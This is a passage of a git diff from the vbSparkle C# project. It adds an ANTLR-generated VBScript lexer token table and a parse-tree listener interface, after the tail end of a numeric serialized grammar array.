1957, 1959, 7, 5, 0, 0, 1958, 1957, 1, 0, 0, 0, 1959, 1960, 1, 0, 0, 0, 1960, 1958, 1, 0, 0, 0, 1960, 1961, 1, 0, 0, 0, 1961, 1963, 1, 0, 0, 0, 1962, 1964, 3, 361, 180, 0, 1963, 1962, 1, 0, 0, 0, 1963, 1964, 1, 0, 0, 0, 1964, 432, 1, 0, 0, 0, 1965, 1967, 3, 387, 193, 0, 1966, 1968, 7, 6, 0, 0, 1967, 1966, 1, 0, 0, 0, 1968, 1969, 1, 0, 0, 0, 1969, 1967, 1, 0, 0, 0, 1969, 1970, 1, 0, 0, 0, 1970, 1971, 1, 0, 0, 0, 1971, 1973, 3, 393, 196, 0, 1972, 1974, 7, 6, 0, 0, 1973, 1972, 1, 0, 0, 0, 1974, 1975, 1, 0, 0, 0, 1975, 1973, 1, 0, 0, 0, 1975, 1976, 1, 0, 0, 0, 1976, 1977, 1, 0, 0, 0, 1977, 1979, 3, 393, 196, 0, 1978, 1980, 7, 6, 0, 0, 1979, 1978, 1, 0, 0, 0, 1980, 1981, 1, 0, 0, 0, 1981, 1979, 1, 0, 0, 0, 1981, 1982, 1, 0, 0, 0, 1982, 1983, 1, 0, 0, 0, 1983, 1985, 3, 393, 196, 0, 1984, 1986, 7, 6, 0, 0, 1985, 1984, 1, 0, 0, 0, 1986, 1987, 1, 0, 0, 0, 1987, 1985, 1, 0, 0, 0, 1987, 1988, 1, 0, 0, 0, 1988, 1989, 1, 0, 0, 0, 1989, 1991, 3, 393, 196, 0, 1990, 1992, 7, 6, 0, 0, 1991, 1990, 1, 0, 0, 0, 1992, 1993, 1, 0, 0, 0, 1993, 1991, 1, 0, 0, 0, 1993, 1994, 1, 0, 0, 0, 1994, 1995, 1, 0, 0, 0, 1995, 1996, 3, 409, 204, 0, 1996, 434, 1, 0, 0, 0, 1997, 2001, 3, 451, 225, 0, 1998, 2000, 3, 453, 226, 0, 1999, 1998, 1, 0, 0, 0, 2000, 2003, 1, 0, 0, 0, 2001, 1999, 1, 0, 0, 0, 2001, 2002, 1, 0, 0, 0, 2002, 436, 1, 0, 0, 0, 2003, 2001, 1, 0, 0, 0, 2004, 2006, 3, 445, 222, 0, 2005, 2004, 1, 0, 0, 0, 2005, 2006, 1, 0, 0, 0, 2006, 2007, 1, 0, 0, 0, 2007, 2009, 3, 449, 224, 0, 2008, 2010, 3, 445, 222, 0, 2009, 2008, 1, 0, 0, 0, 2009, 2010, 1, 0, 0, 0, 2010, 438, 1, 0, 0, 0, 2011, 2013, 3, 445, 222, 0, 2012, 2011, 1, 0, 0, 0, 2012, 2013, 1, 0, 0, 0, 2013, 2018, 1, 0, 0, 0, 2014, 2016, 3, 441, 220, 0, 2015, 2017, 3, 445, 222, 0, 2016, 2015, 1, 0, 0, 0, 2016, 2017, 1, 0, 0, 0, 2017, 2019, 1, 0, 0, 0, 2018, 2014, 1, 0, 0, 0, 2019, 2020, 1, 0, 0, 0, 2020, 2018, 1, 0, 0, 0, 2020, 2021, 1, 0, 0, 0, 2021, 440, 1, 0, 0, 0, 2022, 2023, 5, 58, 0, 0, 2023, 442, 1, 0, 0, 0, 2024, 2026, 3, 445, 222, 0, 2025, 2024, 1, 0, 0, 0, 2025, 2026, 1, 0, 0, 0, 2026, 2034, 1, 0, 0, 0, 2027, 2035, 5, 39, 0, 0, 2028, 2030, 5, 58, 0, 0, 2029, 2028, 1, 0, 0, 0, 2029, 2030, 1, 0, 0, 0, 2030, 2031, 1, 0, 0, 0, 2031, 2032, 3, 277, 138, 0, 2032, 2033, 5, 32, 0, 0, 2033, 2035, 1, 0, 0, 0, 2034, 2027, 1, 0, 0, 0, 2034, 2029, 1, 0, 0, 0, 2035, 2039, 1, 0, 0, 0, 2036, 2038, 8, 7, 0, 0, 2037, 2036, 1, 0, 0, 0, 2038, 2041, 1, 0, 0, 0, 2039, 2037, 1, 0, 0, 0, 2039, 2040, 1, 0, 0, 0, 2040, 2042, 1, 0, 0, 0, 2041, 2039, 1, 0, 0, 0, 2042, 2043, 6, 221, 0, 0, 2043, 444, 1, 0, 0, 0, 2044, 2046, 7, 8, 0, 0, 2045, 2044, 1, 0, 0, 0, 2046, 2047, 1, 0, 0, 0, 2047, 2045, 1, 0, 0, 0, 2047, 2048, 1, 0, 0, 0, 2048, 446, 1, 0, 0, 0, 2049, 2050, 5, 32, 0, 0, 2050, 2054, 5, 95, 0, 0, 2051, 2053, 5, 32, 0, 0, 2052, 2051, 1, 0, 0, 0, 2053, 2056, 1, 0, 0, 0, 2054, 2052, 1, 0, 0, 0, 2054, 2055, 1, 0, 0, 0, 2055, 2058, 1, 0, 0, 0, 2056, 2054, 1, 0, 0, 0, 2057, 2059, 5, 13, 0, 0, 2058, 2057, 1, 0, 0, 0, 2058, 2059, 1, 0, 0, 0, 2059, 2060, 1, 0, 0, 0, 2060, 2061, 5, 10, 0, 0, 2061, 2062, 1, 0, 0, 0, 2062, 2063, 6, 223, 0, 0, 2063, 448, 1, 0, 0, 0, 2064, 2066, 5, 13, 0, 0, 2065, 2064, 1, 0, 0, 0, 2065, 2066, 1, 0, 0, 0, 2066, 2067, 1, 0, 0, 0, 2067, 2070, 5, 10, 0, 0, 2068, 2070, 7, 9, 0, 0, 2069, 2065, 1, 0, 0, 0, 2069, 2068, 1, 0, 0, 0, 2070, 450, 1, 0, 0, 0, 2071, 2072, 7, 10, 0, 0, 2072, 452, 1, 0, 0, 0, 2073, 2074, 7, 11, 0, 0, 2074, 454, 1, 0, 0, 0, 2075, 2076, 7, 12, 0, 0, 2076, 456, 1, 0, 0, 0, 2077, 2078, 7, 13, 0, 0, 2078, 458, 1, 0, 0, 0, 2079, 2080, 7, 14, 0, 0, 2080, 460, 1, 0, 0, 0, 2081, 2082, 7, 15, 0, 0, 2082, 462, 1, 0, 0, 0, 2083, 2084, 7, 4, 0, 0, 2084, 464, 1, 0, 0, 0, 2085, 2086, 7, 16, 0, 0, 2086, 466, 1, 0, 0, 0, 2087, 2088, 7, 17, 0, 0, 2088, 468, 1, 0, 0, 0, 2089, 2090, 7, 18, 0, 0, 2090, 470, 1, 0, 0, 0, 2091, 2092, 7, 19, 0, 0, 2092, 472, 1, 0, 0, 0, 2093, 2094, 7, 20, 0, 0, 2094, 474, 1, 0, 0, 0, 2095, 2096, 7, 21, 0, 0, 2096, 476, 1, 0, 0, 0, 2097, 2098, 7, 22, 0, 0, 2098, 478, 1, 0, 0, 0, 2099, 2100, 7, 23, 0, 0, 2100, 480, 1, 0, 0, 0, 2101, 2102, 7, 24, 0, 0, 2102, 482, 1, 0, 0, 0, 2103, 2104, 7, 25, 0, 0, 2104, 484, 1, 0, 0, 0, 2105, 2106, 7, 26, 0, 0, 2106, 486, 1, 0, 0, 0, 2107, 2108, 7, 27, 0, 0, 2108, 488, 1, 0, 0, 0, 2109, 2110, 7, 28, 0, 0, 2110, 490, 1, 0, 0, 0, 2111, 2112, 7, 29, 0, 0, 2112, 492, 1, 0, 0, 0, 2113, 2114, 7, 30, 0, 0, 2114, 494, 1, 0, 0, 0, 2115, 2116, 7, 31, 0, 0, 2116, 496, 1, 0, 0, 0, 2117, 2118, 7, 32, 0, 0, 2118, 498, 1, 0, 0, 0, 2119, 2120, 7, 33, 0, 0, 2120, 500, 1, 0, 0, 0, 2121, 2122, 7, 34, 0, 0, 2122, 502, 1, 0, 0, 0, 2123, 2124, 7, 35, 0, 0, 2124, 504, 1, 0, 0, 0, 2125, 2126, 7, 36, 0, 0, 2126, 506, 1, 0, 0, 0, 39, 0, 1868, 1870, 1879, 1888, 1893, 1896, 1901, 1907, 1913, 1918, 1925, 1930, 1935, 1939, 1946, 1952, 1960, 1963, 1969, 1975, 1981, 1987, 1993, 2001, 2005, 2009, 2012, 2016, 2020, 2025, 2029, 2034, 2039, 2047, 2054, 2058, 2065, 2069, 1, 0, 1, 0] \ No newline at end of file diff --git a/Sources/vbSparkle/VBScriptLexer.tokens b/Sources/vbSparkle/VBScriptLexer.tokens new file mode 100644 index 0000000..92fab61 --- /dev/null +++ b/Sources/vbSparkle/VBScriptLexer.tokens @@ -0,0 +1,253 @@ +ACCESS=1 +ADDRESSOF=2 +ALIAS=3 +AND=4 +ATTRIBUTE=5 +APPACTIVATE=6 +APPEND=7 +AS=8 +BEEP=9 +BEGIN=10 +BEGINPROPERTY=11 +BINARY=12 +BOOLEAN=13 +BYVAL=14 +BYREF=15 +BYTE=16 +CALL=17 +CASE=18 +CHDIR=19 +CHDRIVE=20 +CLASS=21 +CLOSE=22 +COLLECTION=23 +CONST=24 +DATE=25 +PTRSAFE=26 +DECLARE=27 +DEFBOOL=28 +DEFBYTE=29 +DEFDATE=30 +DEFDBL=31 +DEFDEC=32 +DEFCUR=33 +DEFINT=34 +DEFLNG=35 +DEFOBJ=36 +DEFSNG=37 +DEFSTR=38 +DEFVAR=39 +DELETESETTING=40 +DIM=41 +DO=42 +DOUBLE=43 +EACH=44 +ELSE=45 +ELSEIF=46 +END_ENUM=47 +END_CLASS=48 +END_FUNCTION=49 +END_IF=50 +END_PROPERTY=51 +END_SELECT=52 +END_SUB=53 +END_TYPE=54 +END_WITH=55 +END=56 +ENDPROPERTY=57 +ENUM=58 +EQV=59 +ERASE=60 +ERROR=61 +EVENT=62 +EXIT_DO=63 +EXIT_FOR=64 +EXIT_FUNCTION=65 +EXIT_PROPERTY=66 +EXIT_SUB=67 +FALSE=68 +FILECOPY=69 +FRIEND=70 +FOR=71 +FUNCTION=72 +GET=73 +GLOBAL=74 +GOSUB=75 +GOTO=76 +IF=77 +IMP=78 +IMPLEMENTS=79 +IN=80 +INPUT=81 +IS=82 +INTEGER=83 +KILL=84 +LOAD=85 +LOCK=86 +LONG=87 +LOOP=88 +LEN=89 +LET=90 +LIB=91 +LIKE=92 +LINE_INPUT=93 +LOCK_READ=94 +LOCK_WRITE=95 +LOCK_READ_WRITE=96 +LSET=97 +MACRO_IF=98 +MACRO_ELSEIF=99 +MACRO_ELSE=100 +MACRO_END_IF=101 +ME=102 +MID=103 +MKDIR=104 +MOD=105 +NAME=106 +NEXT=107 +NEW=108 +NOT=109 +NOTHING=110 +NULL=111 +OBJECT=112 +ON=113 +ON_ERROR=114 +ON_LOCAL_ERROR=115 +OPEN=116 +OPTIONAL=117 +OPTION_BASE=118 +OPTION_EXPLICIT=119 +OPTION_COMPARE=120 +OPTION_PRIVATE_MODULE=121 +OR=122 +OUTPUT=123 +PARAMARRAY=124 +PRESERVE=125 +PRINT=126 +PRIVATE=127 +PROPERTY_GET=128 +PROPERTY_LET=129 +PROPERTY_SET=130 +PUBLIC=131 +PUT=132 +RANDOM=133 +RANDOMIZE=134 +RAISEEVENT=135 +READ=136 +READ_WRITE=137 +REDIM=138 +REM=139 +RESET=140 +RESUME=141 +RETURN=142 +RMDIR=143 +RSET=144 +SAVEPICTURE=145 +SAVESETTING=146 +SEEK=147 +SELECT=148 +SENDKEYS=149 +SET=150 +SETATTR=151 +SHARED=152 +SINGLE=153 +SPC=154 +STATIC=155 +DEFAULT=156 +STEP=157 +STOP=158 +STRING=159 +SUB=160 +TAB=161 +TEXT=162 +THEN=163 +TIME=164 +TO=165 +TRUE=166 +TYPE=167 +TYPEOF=168 +UNLOAD=169 +UNLOCK=170 +UNTIL=171 +VARIANT=172 +VERSION=173 +WEND=174 +WHILE=175 +WIDTH=176 +WITH=177 +WITHEVENTS=178 +WRITE=179 +XOR=180 +AMPERSAND=181 +ASSIGN=182 +AT=183 +COMMA=184 +DIV=185 +DOLLAR=186 +DOT=187 +EQ=188 +EXCLAMATIONMARK=189 +GEQ=190 +GT=191 +HASH=192 +LEQ=193 +LBRACE=194 +LPAREN=195 +LT=196 +MINUS=197 +MINUS_EQ=198 +MULT=199 +NEQ=200 +PERCENT=201 +PLUS=202 +PLUS_EQ=203 +POW=204 +RBRACE=205 +RPAREN=206 +SEMICOLON=207 +L_SQUARE_BRACKET=208 +R_SQUARE_BRACKET=209 +STRINGLITERAL=210 +DATELITERAL=211 +HEXLITERAL=212 +INTEGERLITERAL=213 +DOUBLELITERAL=214 +FILENUMBER=215 +OCTALLITERAL=216 +GUID=217 +IDENTIFIER=218 +NEWLINE=219 +INLINE_SEP=220 +INLN=221 +COMMENT=222 +WS=223 +LINE_CONTINUATION=224 +'&'=181 +':='=182 +'@'=183 +','=184 +'$'=186 +'.'=187 +'='=188 +'!'=189 +'>='=190 +'>'=191 +'#'=192 +'<='=193 +'{'=194 +'('=195 +'<'=196 +'-'=197 +'-='=198 +'*'=199 +'<>'=200 +'%'=201 +'+'=202 +'+='=203 +'^'=204 +'}'=205 +')'=206 +';'=207 +'['=208 +']'=209 +':'=221 diff --git a/Sources/vbSparkle/VBScriptListener.cs b/Sources/vbSparkle/VBScriptListener.cs new file mode 100644 index 0000000..89ede6a --- /dev/null +++ b/Sources/vbSparkle/VBScriptListener.cs @@ -0,0 +1,1993 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBScript.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + +using Antlr4.Runtime.Misc; +using IParseTreeListener = Antlr4.Runtime.Tree.IParseTreeListener; +using IToken = Antlr4.Runtime.IToken; + +/// +/// This interface defines a complete listener for a parse tree produced by +/// . +/// +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.CLSCompliant(false)] +public interface IVBScriptListener : IParseTreeListener { + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterStartRule([NotNull] VBScriptParser.StartRuleContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitStartRule([NotNull] VBScriptParser.StartRuleContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModule([NotNull] VBScriptParser.ModuleContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModule([NotNull] VBScriptParser.ModuleContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReferences([NotNull] VBScriptParser.ModuleReferencesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReferences([NotNull] VBScriptParser.ModuleReferencesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReference([NotNull] VBScriptParser.ModuleReferenceContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReference([NotNull] VBScriptParser.ModuleReferenceContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReferenceValue([NotNull] VBScriptParser.ModuleReferenceValueContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReferenceValue([NotNull] VBScriptParser.ModuleReferenceValueContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReferenceComponent([NotNull] VBScriptParser.ModuleReferenceComponentContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReferenceComponent([NotNull] VBScriptParser.ModuleReferenceComponentContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleHeader([NotNull] VBScriptParser.ModuleHeaderContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleHeader([NotNull] VBScriptParser.ModuleHeaderContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleConfig([NotNull] VBScriptParser.ModuleConfigContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleConfig([NotNull] VBScriptParser.ModuleConfigContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleConfigElement([NotNull] VBScriptParser.ModuleConfigElementContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleConfigElement([NotNull] VBScriptParser.ModuleConfigElementContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleAttributes([NotNull] VBScriptParser.ModuleAttributesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleAttributes([NotNull] VBScriptParser.ModuleAttributesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleOptions([NotNull] VBScriptParser.ModuleOptionsContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleOptions([NotNull] VBScriptParser.ModuleOptionsContext context); + /// + /// Enter a parse tree produced by the optionBaseStmt + /// labeled alternative in . + /// + /// The parse tree. + void EnterOptionBaseStmt([NotNull] VBScriptParser.OptionBaseStmtContext context); + /// + /// Exit a parse tree produced by the optionBaseStmt + /// labeled alternative in . + /// + /// The parse tree. + void ExitOptionBaseStmt([NotNull] VBScriptParser.OptionBaseStmtContext context); + /// + /// Enter a parse tree produced by the optionCompareStmt + /// labeled alternative in . + /// + /// The parse tree. + void EnterOptionCompareStmt([NotNull] VBScriptParser.OptionCompareStmtContext context); + /// + /// Exit a parse tree produced by the optionCompareStmt + /// labeled alternative in . + /// + /// The parse tree. + void ExitOptionCompareStmt([NotNull] VBScriptParser.OptionCompareStmtContext context); + /// + /// Enter a parse tree produced by the optionExplicitStmt + /// labeled alternative in . + /// + /// The parse tree. + void EnterOptionExplicitStmt([NotNull] VBScriptParser.OptionExplicitStmtContext context); + /// + /// Exit a parse tree produced by the optionExplicitStmt + /// labeled alternative in . + /// + /// The parse tree. + void ExitOptionExplicitStmt([NotNull] VBScriptParser.OptionExplicitStmtContext context); + /// + /// Enter a parse tree produced by the optionPrivateModuleStmt + /// labeled alternative in . + /// + /// The parse tree. + void EnterOptionPrivateModuleStmt([NotNull] VBScriptParser.OptionPrivateModuleStmtContext context); + /// + /// Exit a parse tree produced by the optionPrivateModuleStmt + /// labeled alternative in . + /// + /// The parse tree. + void ExitOptionPrivateModuleStmt([NotNull] VBScriptParser.OptionPrivateModuleStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleBody([NotNull] VBScriptParser.ModuleBodyContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleBody([NotNull] VBScriptParser.ModuleBodyContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleBodyElement([NotNull] VBScriptParser.ModuleBodyElementContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleBodyElement([NotNull] VBScriptParser.ModuleBodyElementContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterControlProperties([NotNull] VBScriptParser.ControlPropertiesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitControlProperties([NotNull] VBScriptParser.ControlPropertiesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_Properties([NotNull] VBScriptParser.Cp_PropertiesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_Properties([NotNull] VBScriptParser.Cp_PropertiesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_PropertyName([NotNull] VBScriptParser.Cp_PropertyNameContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_PropertyName([NotNull] VBScriptParser.Cp_PropertyNameContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_PropertyValue([NotNull] VBScriptParser.Cp_PropertyValueContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_PropertyValue([NotNull] VBScriptParser.Cp_PropertyValueContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_NestedProperty([NotNull] VBScriptParser.Cp_NestedPropertyContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_NestedProperty([NotNull] VBScriptParser.Cp_NestedPropertyContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_ControlType([NotNull] VBScriptParser.Cp_ControlTypeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_ControlType([NotNull] VBScriptParser.Cp_ControlTypeContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_ControlIdentifier([NotNull] VBScriptParser.Cp_ControlIdentifierContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_ControlIdentifier([NotNull] VBScriptParser.Cp_ControlIdentifierContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterBlockSwitch([NotNull] VBScriptParser.BlockSwitchContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitBlockSwitch([NotNull] VBScriptParser.BlockSwitchContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterBlock([NotNull] VBScriptParser.BlockContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitBlock([NotNull] VBScriptParser.BlockContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleBlock([NotNull] VBScriptParser.ModuleBlockContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleBlock([NotNull] VBScriptParser.ModuleBlockContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAttributeStmt([NotNull] VBScriptParser.AttributeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAttributeStmt([NotNull] VBScriptParser.AttributeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLineLabel([NotNull] VBScriptParser.LineLabelContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLineLabel([NotNull] VBScriptParser.LineLabelContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterInlineBlock([NotNull] VBScriptParser.InlineBlockContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitInlineBlock([NotNull] VBScriptParser.InlineBlockContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterInlineBlockStmt([NotNull] VBScriptParser.InlineBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitInlineBlockStmt([NotNull] VBScriptParser.InlineBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterBlockStmt([NotNull] VBScriptParser.BlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitBlockStmt([NotNull] VBScriptParser.BlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAppActivateStmt([NotNull] VBScriptParser.AppActivateStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAppActivateStmt([NotNull] VBScriptParser.AppActivateStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterBeepStmt([NotNull] VBScriptParser.BeepStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitBeepStmt([NotNull] VBScriptParser.BeepStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterChDirStmt([NotNull] VBScriptParser.ChDirStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitChDirStmt([NotNull] VBScriptParser.ChDirStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterChDriveStmt([NotNull] VBScriptParser.ChDriveStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitChDriveStmt([NotNull] VBScriptParser.ChDriveStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCloseStmt([NotNull] VBScriptParser.CloseStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCloseStmt([NotNull] VBScriptParser.CloseStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterConstStmt([NotNull] VBScriptParser.ConstStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitConstStmt([NotNull] VBScriptParser.ConstStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterConstSubStmt([NotNull] VBScriptParser.ConstSubStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitConstSubStmt([NotNull] VBScriptParser.ConstSubStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterDateStmt([NotNull] VBScriptParser.DateStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitDateStmt([NotNull] VBScriptParser.DateStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterDeclareStmt([NotNull] VBScriptParser.DeclareStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitDeclareStmt([NotNull] VBScriptParser.DeclareStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterDeftypeStmt([NotNull] VBScriptParser.DeftypeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitDeftypeStmt([NotNull] VBScriptParser.DeftypeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterDeleteSettingStmt([NotNull] VBScriptParser.DeleteSettingStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitDeleteSettingStmt([NotNull] VBScriptParser.DeleteSettingStmtContext context); + /// + /// Enter a parse tree produced by the dlStatement + /// labeled alternative in . + /// + /// The parse tree. + void EnterDlStatement([NotNull] VBScriptParser.DlStatementContext context); + /// + /// Exit a parse tree produced by the dlStatement + /// labeled alternative in . + /// + /// The parse tree. + void ExitDlStatement([NotNull] VBScriptParser.DlStatementContext context); + /// + /// Enter a parse tree produced by the dwlStatement + /// labeled alternative in . + /// + /// The parse tree. + void EnterDwlStatement([NotNull] VBScriptParser.DwlStatementContext context); + /// + /// Exit a parse tree produced by the dwlStatement + /// labeled alternative in . + /// + /// The parse tree. + void ExitDwlStatement([NotNull] VBScriptParser.DwlStatementContext context); + /// + /// Enter a parse tree produced by the dlwStatement + /// labeled alternative in . + /// + /// The parse tree. + void EnterDlwStatement([NotNull] VBScriptParser.DlwStatementContext context); + /// + /// Exit a parse tree produced by the dlwStatement + /// labeled alternative in . + /// + /// The parse tree. + void ExitDlwStatement([NotNull] VBScriptParser.DlwStatementContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterEndStmt([NotNull] VBScriptParser.EndStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitEndStmt([NotNull] VBScriptParser.EndStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterEnumerationStmt([NotNull] VBScriptParser.EnumerationStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitEnumerationStmt([NotNull] VBScriptParser.EnumerationStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterClassStmt([NotNull] VBScriptParser.ClassStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitClassStmt([NotNull] VBScriptParser.ClassStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterEnumerationStmt_Constant([NotNull] VBScriptParser.EnumerationStmt_ConstantContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitEnumerationStmt_Constant([NotNull] VBScriptParser.EnumerationStmt_ConstantContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterEraseStmt([NotNull] VBScriptParser.EraseStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitEraseStmt([NotNull] VBScriptParser.EraseStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterErrorStmt([NotNull] VBScriptParser.ErrorStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitErrorStmt([NotNull] VBScriptParser.ErrorStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterEventStmt([NotNull] VBScriptParser.EventStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitEventStmt([NotNull] VBScriptParser.EventStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterExitStmt([NotNull] VBScriptParser.ExitStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitExitStmt([NotNull] VBScriptParser.ExitStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterFilecopyStmt([NotNull] VBScriptParser.FilecopyStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitFilecopyStmt([NotNull] VBScriptParser.FilecopyStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterForEachStmt([NotNull] VBScriptParser.ForEachStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitForEachStmt([NotNull] VBScriptParser.ForEachStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterForNextStmt([NotNull] VBScriptParser.ForNextStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitForNextStmt([NotNull] VBScriptParser.ForNextStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterFunctionStmt([NotNull] VBScriptParser.FunctionStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void 